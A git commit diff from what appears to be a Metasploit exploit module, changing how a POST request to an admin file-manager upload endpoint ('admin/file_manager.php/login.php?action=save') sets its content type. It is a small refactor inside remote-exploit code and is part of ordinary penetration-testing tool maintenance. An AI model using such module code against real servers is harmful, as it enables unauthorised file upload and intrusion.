Prefer ctype over headers['Content-Type']

bug/bundler_fix
William Vu 2015-11-06 14:35:02 -06:00
parent 4390fda513
commit 3cae7999aa
1 changed files with 1 additions and 4 deletions

View File

@ -79,10 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
'uri' => normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?action=save",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'application/x-www-form-urlencoded',
}
'ctype' => 'application/x-www-form-urlencoded'
}, 3)
# If the upload worked, the server tries to redirect us to some info